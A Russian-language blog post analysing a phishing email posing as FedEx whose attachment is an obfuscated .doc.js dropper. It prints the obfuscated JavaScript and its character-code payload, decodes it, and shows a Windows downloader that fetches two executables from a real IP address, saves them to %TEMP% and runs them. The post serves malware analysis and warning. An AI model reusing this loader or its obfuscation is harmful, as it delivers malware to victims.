Привет всем. Начну с того, что сегодня ко мне на почту пришло подозрительное письмо.
Текст письма под катом.
Письмо смутило по нескольким причинам, а именно: никакими услугами FedEx я не пользовался, обращение Iskander и кривой логотип FedEx, что видно на скриншоте выше.
Стало интересно, что же это за вложение такое. Скачав его на компьютер zip-архивом, первым делом проверил на VirusTotal. Результат оказался неутешительным. Всего 2 срабатывания, да и то одно из-за двойного расширения файла.
Распаковываем архив и… Антивирус ничего не заметил. Как оказалось, внутри содержался файл с именем ISKANDER__Delivery_Status_Notification_0000170124.doc.js.
Открываем файл блокнотом и смотрим его содержимое. После обработки файла Beautify-ром, код принял следующий вид:
var = "";
function () { += ;
};
("102385442111738");
("544211103854421");
("99385442111638544211053");
/*---------------------------------------------------
Куча подобных строк
-----------------------------------------------------*/
("4385442156385442");
("1463854421101385442112038544");
("211013854421343854421");
("443854421493854421413");
("85442159");
hans2 = "arC";
randons = String;
hans = "omC";
nord = randons["fr" + hans + "h" + hans2 + "ode"];
function z(a) {
return nord(a);
};
function ra(z) {
return "l";
};
function y() {
return "3854421";
}; = "";
c = 1 == 0 ? true : "sp" + ra("var") + "it"; = [c](y());
for (var = 0; < .length; ++) += z([]);
eval();
Что ж, пробуем запустить этот код, предварительно убрав из него строчку eval();
Как и ожидалось, код не запустился даже в изначальном виде, что довольно таки странно.
Пробуем разобраться, что же по замыслу автора делает этот код. Идем в конец файла и смотрим его содержимое. Нас интересуют следующие строки:
hans2 = "arC";
randons = String;
hans = "omC";
nord = randons["fr" + hans + "h" + hans2 + "ode"];
function z(a) {
return nord(a);
};
function ra(z) {
return "l";
};
function y() {
return "3854421";
}; = "";
c = 1 == 0 ? true : "sp" + ra("var") + "it"; = [c](y());
for (var = 0; < .length; ++) += z([]);
После короткого осмысления находим знакомые команды: String.fromCharCode и split.
В общих чертах все вышеперечисленные числа складываются в одну строку, затем в местах нахождения кода вида 3854421 строка делится. Так как в javaScript я не силен, то просто берем и выполняем все эти действия самостоятельно.
Файл принимает следующий вид:
String.fromCharCode("102", "117", "110", "99", "116", "105", "111", "110", "32", "100", "108", "40", "102", "114", "44", "102", "110", "44", "114", "110", "41", "32", "123", "32", "118", "97", "114", "32", "119", "115", "32", "61", "32", "110", "101", "119", "32", "65", "99", "116", "105", "118", "101", "88", "79", "98", "106", "101", "99", "116", "40", "34", "87", "83", "99", "114", "105", "112", "116", "46", "83", "104", "101", "108", "108", "34", "41", "59", "32", "118", "97", "114", "32", "102", "110", "32", "61", "32", "119", "115", "46", "69", "120", "112", "97", "110", "100", "69", "110", "118", "105", "114", "111", "110", "109", "101", "110", "116", "83", "116", "114", "105", "110", "103", "115", "40", "34", "37", "84", "69", "77", "80", "37", "34", "41", "43", "34", "92", "92", "34", "43", "102", "110", "59", "32", "118", "97", "114", "32", "120", "111", "32", "61", "32", "110", "101", "119", "32", "65", "99", "116", "105", "118", "101", "88", "79", "98", "106", "101", "99", "116", "40", "34", "77", "83", "88", "77", "76", "50", "46", "88", "77", "76", "72", "84", "84", "80", "34", "41", "59", "32", "120", "111", "46", "111", "110", "114", "101", "97", "100", "121", "115", "116", "97", "116", "101", "99", "104", "97", "110", "103", "101", "32", "61", "32", "102", "117", "110", "99", "116", "105", "111", "110", "40", "41", "32", "123", "32", "105", "102", "32", "40", "120", "111", "46", "114", "101", "97", "100", "121", "83", "116", "97", "116", "101", "32", "61", "61", "61", "32", "52", "41", "32", "123", "32", "118", "97", "114", "32", "120", "97", "32", "61", "32", "110", "101", "119", "32", "65", "99", "116", "105", "118", "101", "88", "79", "98", "106", "101", "99", "116", "40", "34", "65", "68", "79", "68", "66", "46", "83", "116", "114", "101", "97", "109", "34", "41", "59", "32", "120", "97", "46", "111", "112", "101", "110", "40", "41", "59", "32", "120", "97", "46", "116", "121", "112", "101", "32", "61", "32", "49", "59", "32", "120", "97", "46", "119", "114", "105", "116", "101", "40", "120", "111", "46", "82", "101", "115", "112", "111", "110", "115", "101", "66", "111", "100", "121", "41", "59", "32", "120", "97", "46", "112", "111", "115", "105", "116", "105", "111", "110", "32", "61", "32", "48", "59", "32", "120", "97", "46", "115", "97", "118", "101", "84", "111", "70", "105", "108", "101", "40", "102", "110", "44", "50", "41", "59", "32", "120", "97", "46", "99", "108", "111", "115", "101", "40", "41", "59", "32", "125", "59", "32", "125", "59", "32", "120", "111", "46", "111", "112", "101", "110", "40", "34", "71", "69", "84", "34", "44", "102", "114", "44", "102", "97", "108", "115", "101", "41", "59", "32", "120", "111", "46", "115", "101", "110", "100", "40", "41", "59", "32", "105", "102", "32", "40", "114", "110", "32", "62", "32", "48", "41", "32", "123", "32", "116", "114", "121", "32", "123", "32", "119", "115", "46", "82", "117", "110", "40", "102", "110", "44", "48", "44", "48", "41", "59", "32", "125", "32", "99", "97", "116", "99", "104", "32", "40", "101", "114", "41", "32", "123", "125", "59", "32", "125", "59", "32", "125", "59", "32", "100", "108", "40", "34", "104", "116", "116", "112", "58", "47", "47", "54", "53", "46", "53", "49", "46", "49", "49", "57", "46", "49", "52", "54", "47", "100", "111", "99", "117", "109", "101", "110", "116", "46", "112", "104", "112", "63", "105", "100", "61", "53", "52", "53", "53", "53", "52", "53", "69", "53", "51", "48", "68", "49", "55", "48", "70", "48", "53", "48", "65", "48", "48", "48", "49", "49", "54", "50", "52", "48", "57", "48", "53", "48", "68", "48", "56", "52", "65", "49", "54", "49", "49", "38", "114", "110", "100", "61", "56", "50", "48", "52", "55", "55", "49", "34", "44", "34", "52", "57", "49", "49", "49", "55", "52", "56", "46", "101", "120", "101", "34", "44", "49", "41", "59", "32", "100", "108", "40", "34", "104", "116", "116", "112", "58", "47", "47", "54", "53", "46", "53", "49", "46", "49", "49", "57", "46", "49", "52", "54", "47", "100", "111", "99", "117", "109", "101", "110", "116", "46", "112", "104", "112", "63", "105", "100", "61", "53", "52", "53", "53", "53", "52", "53", "69", "53", "51", "48", "68", "49", "55", "48", "70", "48", "53", "48", "65", "48", "48", "48", "49", "49", "54", "50", "52", "48", "57", "48", "53", "48", "68", "48", "56", "52", "65", "49", "54", "49", "49", "38", "114", "110", "100", "61", "56", "51", "49", "57", "57", "55", "50", "34", "44", "34", "52", "56", "53", "54", "52", "54", "54", "56", "46", "101", "120", "101", "34", "44", "49", "41", "59");
Запускаем его в браузере и получаем следующее содержимое:
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + "\" + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function () {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
try {
ws.Run(fn, 0, 0);
} catch (er) {};
};
};
dl("http://65.51.119.146/document.php?id=5455545E530D170F050A0001162409050D084A1611&rnd=8204771", "49111748.exe", 1);
dl("http://65.51.119.146/document.php?id=5455545E530D170F050A0001162409050D084A1611&rnd=8319972", "48564668.exe", 1);
В принципе, теперь понятно, что это и с чем едят. Код скачивает с левого сайта два файла и сохраняет их на диске под именами 49111748.exe и 48564668.exe.
Проверяем ссылки на вирустотале.
Собственно, интересный результат: всего 18 антивирусов отреагировало на файл, среди них и мой AVG.
Все действия был проведены на свой страх и риск. Не рекомендуется использовать данный метод в домашних условиях.